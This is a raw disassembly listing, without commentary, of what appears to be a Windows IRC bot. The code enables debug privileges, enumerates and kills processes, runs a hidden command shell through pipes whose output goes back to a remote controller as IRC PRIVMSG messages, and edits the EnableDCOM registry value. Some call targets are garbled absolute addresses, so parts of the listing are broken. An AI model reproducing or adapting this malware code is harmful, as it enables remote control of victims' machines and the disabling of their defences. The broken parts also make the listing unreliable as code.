		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5E0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5E0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9E4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3DC
		push	offset unk_43A20C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3DC
		push	eax
		push	offset dword_43A1E0
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27408FDh
		push	eax
		call	dword_4CB9B8
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB990
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA40
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2680000h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB9F4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9D8, ebx
		jz	loc_419E08
		cmp	dword_4CB8E8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB9F4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9D8
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8E8
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A238


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2850A92h
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A298
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		call	near ptr 274026Bh
		nop
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CB9F4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB894
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8E8
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 274026Bh
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A438
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A414
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F0


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26A078Ch
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		call	near ptr 274026Bh
		nop
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2680000h


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
		dd 0BDE89000h, 0EB022864h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC48
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC44
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC4C
		call	near ptr 2730000h
		nop
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB88
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		nop
		call	near ptr 26A0428h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC54


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 286052Ah
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC44
		nop
		call	near ptr 2860000h
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		nop
		call	near ptr 26A0428h
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C0
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		call	near ptr 2700000h
		nop


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A498
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 2700000h
		nop


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A468
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2700000h
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E0
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC4C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 274037Fh
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB88
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2680369h
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC48, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC50, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC44, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC88, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC54
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A524
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E918[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		nop
		call	near ptr 26A048Eh
		cmp	eax, esi
		mov	dword_43E924[edi], eax
		jnz	short loc_41A35F
		nop
		call	near ptr 26A0E98h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		call	near ptr 2700000h
		nop
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAA4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_439298
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C0
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A0


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
